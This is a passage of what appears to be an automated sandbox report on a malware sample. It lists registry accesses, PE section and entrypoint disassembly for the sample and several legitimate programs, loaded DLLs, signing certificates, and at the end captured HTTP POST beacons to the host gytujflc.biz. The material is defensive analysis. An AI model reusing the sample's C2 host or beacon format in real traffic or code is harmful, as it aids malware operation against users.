"HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")69:T556,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "chrmstp.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "AcroRd32.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "elevation_service.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "wmpnetwk.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "chrome_pwa_launcher.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "cblauncher.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "dwtrig20.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "setup.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "firefox.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "notification_helper.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "rawshark.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "updater.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "text2pcap.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "editcap.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "WatAdminSvc.exe.bin" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "capinfos.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "mergecap.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"6a:T5d9,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" has an executable section named ".text" "chrmstp.exe" has an executable section named ".text" "chrmstp.exe" has an executable section named ".rodata" "chrmstp.exe" has an executable section named "LZMADEC" "AcroRd32.exe" has an executable section named ".text" "AcroRd32.exe" has an executable section named ".reloc" "elevation_service.exe" has an executable section named ".text" "elevation_service.exe" has an executable section named ".reloc" "wmpnetwk.exe" has an executable section named ".text" "wmpnetwk.exe" has an executable section named ".reloc" "7zG.exe" has an executable section named ".text" "7zG.exe" has an executable section named ".rsrc" "chrome_pwa_launcher.exe" has an executable section named ".text" "chrome_pwa_launcher.exe" has an executable section named "LZMADEC" "chrome_pwa_launcher.exe" has an executable section named ".reloc" "cblauncher.exe" has an executable section named ".text" "cblauncher.exe" has an executable section named ".reloc" "dwtrig20.exe" has an executable section named ".text" "dwtrig20.exe" has an executable section named ".reloc" "Aut2exe_x64.exe" has an executable section named ".text" "Aut2exe_x64.exe" has an executable section named ".rsrc" "setup.exe" has an executable section named ".text" "setup.exe" has an executable section named ".reloc" "7z.exe" has an executable section named ".text" "7z.exe" has an executable section named ".rsrc"6b:T572,"chrmstp.exe" has an writable section named ".data" "chrmstp.exe" has an writable section named ".tls" "chrmstp.exe" has an writable section named "CPADinfo" "AcroRd32.exe" has an writable section named ".data" "AcroRd32.exe" has an writable section named ".reloc" "elevation_service.exe" has an writable section named ".data" "elevation_service.exe" has an writable section named ".tls" "elevation_service.exe" has an writable section named ".reloc" "wmpnetwk.exe" has an writable section named ".data" "wmpnetwk.exe" has an writable section named ".reloc" "7zG.exe" has an writable section named ".data" "7zG.exe" has an writable section named ".rsrc" "chrome_pwa_launcher.exe" has an writable section named ".data" "chrome_pwa_launcher.exe" has an writable section named ".tls" "chrome_pwa_launcher.exe" has an writable section named ".reloc" "cblauncher.exe" has an writable section named ".data" "cblauncher.exe" has an writable section named ".reloc" "dwtrig20.exe" has an writable section named ".data" "dwtrig20.exe" has an writable section named ".reloc" "Aut2exe_x64.exe" has an writable section named ".data" "Aut2exe_x64.exe" has an writable section named ".rsrc" "setup.exe" has an writable section named ".data" "setup.exe" has an writable section named ".reloc" "7z.exe" has an writable section named ".data" "7z.exe" has an writable section named ".rsrc"6c:T2fdd,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "chrmstp.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140242964,add rsp, 0x28,jmp 0x1402427dc,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x1d56c0],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x1402429fb,and qword ptr [rbp + 0x18], 0,lea rcx, [rbp + 0x18],call qword ptr [rip + 0x1c5a22],mov rax, qword ptr [rbp + 0x18],mov qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0x1c58d4],mov eax, eax,xor qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0x1c58b8],mov eax, eax," "AcroRd32.exe" file has an entrypoint instructions - "call 0x4014ba,jmp 0x4f2c94,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,push -2,push 0x55acb0,push 0x4f2930,mov eax, dword ptr fs:[0],push eax,sub esp, 0x5c,mov eax, dword ptr [0x56f610],xor dword ptr [ebp - 8], eax,xor eax, ebp,mov dword ptr [ebp - 0x1c], eax,push ebx,push esi,push edi,push eax,lea eax, [ebp - 0x10],mov dword ptr fs:[0], eax,mov dword ptr [ebp - 0x18], esp,mov ecx, dword ptr [ebp + 8],mov dword ptr [ebp - 0x2c], ecx,mov ecx, dword ptr [ebp + 0xc],mov dword ptr [ebp - 0x68], ecx,mov esi, dword ptr [ebp + 0x14],mov ebx, dword ptr [ebp + 0x18]," "elevation_service.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400b0fb4,add rsp, 0x28,jmp 0x1400b0e2c,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0xd2060],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x1400b104b,and qword ptr [rbp + 0x18], 0,lea rcx, [rbp + 0x18],call qword ptr [rip + 0xc5182],mov rax, qword ptr [rbp + 0x18],mov qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0xc5094],mov eax, eax,xor qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0xc5078],mov eax, eax," "wmpnetwk.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x10012993c,mov ecx, eax,call qword ptr [rip - 0x12854d],int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub rsp, 0xd8,mov rax, qword ptr [rip + 0x2877e],xor rax, rsp,mov qword ptr [rsp + 0xc0], rax,mov eax, dword ptr [rip + 0x2a485],cmp eax, -1,je 0x100129a3c,mov ecx, 1,cmp eax, ecx,sete cl,jmp 0x100129a6d,lea rcx, [rsp + 0x20],mov dword ptr [rsp + 0x20], 0x94,call qword ptr [rip - 0x128447],mov ecx, 1,test eax, eax,je 0x100129a67," "7zG.exe" file has an entrypoint instructions - "mov rax, rsp,sub rsp, 0xc8,mov qword ptr [rax + 0x18], rbx,mov qword ptr [rax + 0x20], rdi,lea rcx, [rax - 0x78],call qword ptr [rip + 0x216c],nop ,cmp word ptr [rip - 0x59076], 0x5a4d,je 0x45908d,xor ebx, ebx,mov dword ptr [rsp + 0xd0], ebx,lea rdi, [rip - 0x59088],jmp 0x45911b,movsxd rax, dword ptr [rip - 0x59058],lea rdi, [rip - 0x5909b],add rax, rdi,cmp dword ptr [rax], 0x4550,je 0x4590b1,xor ebx, ebx,mov dword ptr [rsp + 0xd0], ebx,jmp 0x45911b," "chrome_pwa_launcher.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140078224,add rsp, 0x28,jmp 0x14007809c,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x8ce00],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x1400782bb,and qword ptr [rbp + 0x18], 0,lea rcx, [rbp + 0x18],call qword ptr [rip + 0x8189a],mov rax, qword ptr [rbp + 0x18],mov qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0x817a4],mov eax, eax,xor qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0x81788],mov eax, eax," "cblauncher.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400093a8,add rsp, 0x28,jmp 0x140008f6c,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,and qword ptr [rcx + 0x10], 0,lea rax, [rip + 0x46204],mov qword ptr [rcx + 8], rax,lea rax, [rip + 0x433b1],mov qword ptr [rcx], rax,mov rax, rcx,ret ,int3 ,int3 ,sub rsp, 0x48,lea rcx, [rsp + 0x20],call 0x140009110,lea rdx, [rip + 0x6ca8b],lea rcx, [rsp + 0x20],call 0x1400219e0,int3 ," "dwtrig20.exe" file has an entrypoint instructions - "call 0x2e0384bf,jmp 0x2e034fd4,mov edi, edi,push ecx,mov dword ptr [ecx], 0x2e01bde8,call 0x2e038555,pop ecx,ret ,mov edi, edi,push ebp,mov ebp, esp,push esi,mov esi, ecx,call 0x2e03512f,test byte ptr [ebp + 8], 1,je 0x2e035159,push esi,call 0x2e01d8e9,pop ecx,mov eax, esi,pop esi,pop ebp,ret 4,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],add ecx, 9,push ecx,add eax, 9,push eax,call 0x2e0385c5,neg eax,pop ecx,sbb eax, eax,pop ecx,inc eax,pop ebp,ret 4,cmp ecx, dword ptr [0x2e079ee0]," "Aut2exe_x64.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140024148,add rsp, 0x28,jmp 0x14001a7f8,int3 ,int3 ,push rbx,sub rsp, 0x20,and qword ptr [rcx + 8], 0,lea rax, [rip + 0x15592],mov byte ptr [rcx + 0x10], 0,mov qword ptr [rcx], rax,mov rdx, qword ptr [rdx],mov rbx, rcx,call 0x14001aacc,mov rax, rbx,add rsp, 0x20,pop rbx,ret ,int3 ,int3 ,int3 ,lea rax, [rip + 0x1556d],mov qword ptr [rcx], rax,mov rax, qword ptr [rdx],mov byte ptr [rcx + 0x10], 0,mov qword ptr [rcx + 8], rax,mov rax, rcx,ret ,int3 ,int3 ,int3 ,push rbx," "setup.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14004d908,add rsp, 0x28,jmp 0x140049144,nop ,nop ,mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x30,mov rbx, r9,mov rsi, r8,mov rdi, rdx,test r9, r9,jne 0x140049355,xor eax, eax,jmp 0x1400493bb,test rcx, rcx,jne 0x14004937f,call 0x14004da04,mov ebx, 0x16,and qword ptr [rsp + 0x20], 0,xor r9d, r9d,xor r8d, r8d,xor edx, edx,xor ecx, ecx,mov dword ptr [rax], ebx,call 0x14004974c,mov eax, ebx,jmp 0x1400493bb,test r8, r8,je 0x140049396," "7z.exe" file has an entrypoint instructions - "sub rsp, 0x58,mov qword ptr [rsp + 0x70], rbx,mov qword ptr [rsp + 0x78], rdi,cmp word ptr [rip - 0x4b4b7], 0x5a4d,je 0x44b4c1,xor ebx, ebx,mov dword ptr [rsp + 0x60], ebx,jmp 0x44b53d,movsxd rax, dword ptr [rip - 0x4b48c],lea rcx, [rip - 0x4b4cf],add rax, rcx,cmp dword ptr [rax], 0x4550,je 0x44b4e2,xor ebx, ebx,mov dword ptr [rsp + 0x60], ebx,jmp 0x44b53d,movzx ecx, word ptr [rax + 0x18],cmp ecx, 0x10b,je 0x44b520,cmp ecx, 0x20b,je 0x44b4fe,xor ebx, ebx,mov dword ptr [rsp + 0x60], ebx,jmp 0x44b53d," "firefox.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140007818,add rsp, 0x28,jmp 0x140006db8,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],cmp rcx, qword ptr [rip + 0x310a9],bnd jne 0x140006f7c,rol rcx, 0x10,test cx, 0xffff,bnd jne 0x140006f78,bnd ret ,ror rcx, 0x10,jmp 0x1400075b0,int3 ,int3 ,int3 ,sub rsp, 0x28,call 0x140007d7c,test eax, eax,je 0x140006fb2," "notification_helper.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14008b534,add rsp, 0x28,jmp 0x14008b3ac,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x99af0],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x14008b5cb,and qword ptr [rbp + 0x18], 0,lea rcx, [rbp + 0x18],call qword ptr [rip + 0x8db72],mov rax, qword ptr [rbp + 0x18],mov qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0x8da6c],mov eax, eax,xor qword ptr [rbp + 0x10], rax,call qword ptr [rip + 0x8da50],mov eax, eax," "rawshark.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000dff4,add rsp, 0x28,jmp 0x14000d580,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x19af],mov rcx, rbx,call qword ptr [rip + 0x19ae],call qword ptr [rip + 0x1998],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0x189c],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call 0x14000e760,test eax, eax,je 0x14000d7ba,mov ecx, 2," "LogTransport2.exe" file has an entrypoint instructions - "call 0x41dd81,jmp 0x41d8c8,int3 ,jmp dword ptr [0x43a3f0],int3 ,int3 ,push ecx,lea ecx, [esp + 4],sub ecx, eax,sbb eax, eax,not eax,and ecx, eax,mov eax, esp,and eax, 0xfffff000,cmp ecx, eax,jb 0x41da62,mov eax, ecx,pop ecx,xchg esp, eax,mov eax, dword ptr [eax],mov dword ptr [esp], eax,ret ,sub eax, 0x1000,test dword ptr [eax], eax,jmp 0x41da54,int3 ,jmp dword ptr [0x43a40c],jmp dword ptr [0x43a410],jmp dword ptr [0x43a418],int3 ,int3 ,push 0x41dad9,push dword ptr fs:[0],mov eax, dword ptr [esp + 0x10]," "updater.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000df40,add rsp, 0x28,jmp 0x14000d4dc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],cmp rcx, qword ptr [rip + 0x2c989],bnd jne 0x14000d69c,rol rcx, 0x10,test cx, 0xffff,bnd jne 0x14000d698,bnd ret ,ror rcx, 0x10,jmp 0x14000d6d8,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x1bc6b],mov rcx, rbx," "text2pcap.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140006ec8,add rsp, 0x28,jmp 0x140006800,int3 ,int3 ,mov rax, qword ptr [rip + 0x5ac1],mov rdx, rcx,mov ecx, eax,xor rax, rdx,and ecx, 0x3f,ror rax, cl,ret ,int3 ,int3 ,mov r8, qword ptr [rip + 0x5aa9],mov rax, rcx,mov edx, r8d,mov ecx, 0x40,and edx, 0x3f,sub ecx, edx,ror rax, cl,xor rax, r8,ret ,int3 ,int3 ,mov rax, rcx,mov ecx, edx,ror rax, cl,ret ,int3 ,int3 ,int3 ,movsxd r8, dword ptr [rcx + 0x3c],movzx eax, word ptr [r8 + rcx + 0x14]," "editcap.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140005fc4,add rsp, 0x28,jmp 0x140005550,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x190f],mov rcx, rbx,call qword ptr [rip + 0x190e],call qword ptr [rip + 0x18f8],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0x18dc],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call 0x1400066dc,test eax, eax,je 0x14000578a,mov ecx, 2," "WatAdminSvc.exe.bin" file has an entrypoint instructions - "push rbx,sub rsp, 0x20,xchg rsi, rdi,call 0x100102318,test eax, eax,mov ebx, eax,js 0x10002d6ba,mov rax, qword ptr [rip - 0x2bd3e],call rax,mov ebx, eax,not r8,call 0x1001c1000,mov eax, ebx,add rsp, 0x20,pop rbx,ret ,call 0x100062124,nop ,sar ebx, 0x58,or rax, qword ptr [r8],add byte ptr [rax - 0x76], al,or al, 0x1d," "capinfos.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140005604,add rsp, 0x28,jmp 0x140004b90,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x12cf],mov rcx, rbx,call qword ptr [rip + 0x12ce],call qword ptr [rip + 0x12b8],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0x129c],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call 0x140005cfe,test eax, eax,je 0x140004dca,mov ecx, 2," "mergecap.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140003714,add rsp, 0x28,jmp 0x140002ca0,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x11bf],mov rcx, rbx,call qword ptr [rip + 0x11be],call qword ptr [rip + 0x11a8],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0x118c],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call 0x140003df0,test eax, eax,je 0x140002eda,mov ecx, 2,"6d:T69a,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR")6e:Tfa5,Observed system executable string:"%WINDIR%\system32\IMM32.DLL" [Source: 00000000-00003968-00000C65-56470371] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00003968-00000C2A-57970695] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003968-00000C2A-58336500] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003968-00000C2A-59571368] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003968-00000C2A-60310228] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003968-00000C2A-60610793] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003968-00000C2A-60680665] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003968-00000C2A-60821033] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003968-00000C2A-61178459] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003968-00000C2A-61276067] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00003968-00000C2A-61362335] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00003968-00000C2A-61478695] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00003968-00000C2A-61708411] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003968-00000C2A-61982515] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003968-00000C2A-62051525] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00003968-00000C2A-62282864] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003968-00000C2A-62352371] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00003968-00000C2A-62789832] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00003968-00000C2A-63710787] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00003968-00000C2A-63900118] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003968-00000C2A-64839133] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003968-00000C2A-65214351] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00003968-00000C2A-65302416] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" [Source: 00000000-00003968-00000C2A-65628217] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\WINTRUST.dll" [Source: 00000000-00003968-00000C2A-66978075]6f:T40c,The input sample is signed with a certificate issued by "CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4; see report for more information) The input sample is signed with a certificate issued by "CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: B6:9E:75:2B:BE:88:B4:45:82:00:A7:C0:F4:F5:B3:CC:E6:F3:5B:47; see report for more information) The input sample is signed with a certificate issued by "CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 5B:9E:27:3C:F1:19:41:FD:8C:6B:E3:F0:38:C4:79:7B:BE:88:42:68; see report for more information) The input sample is signed with a certificate issued by "CN=UTN-USERFirst-Object, OU=http://www.usertrust.com, O=The USERTRUST Network, L=Salt Lake City, ST=UT, C=US" (SHA1: 03:A5:B1:46:63:EB:12:02:30:91:B8:4A:6D:6A:68:BC:87:1D:E6:6B; see report for more information)70:Tad3,"POST /ihsriapotht HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /dwkfn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 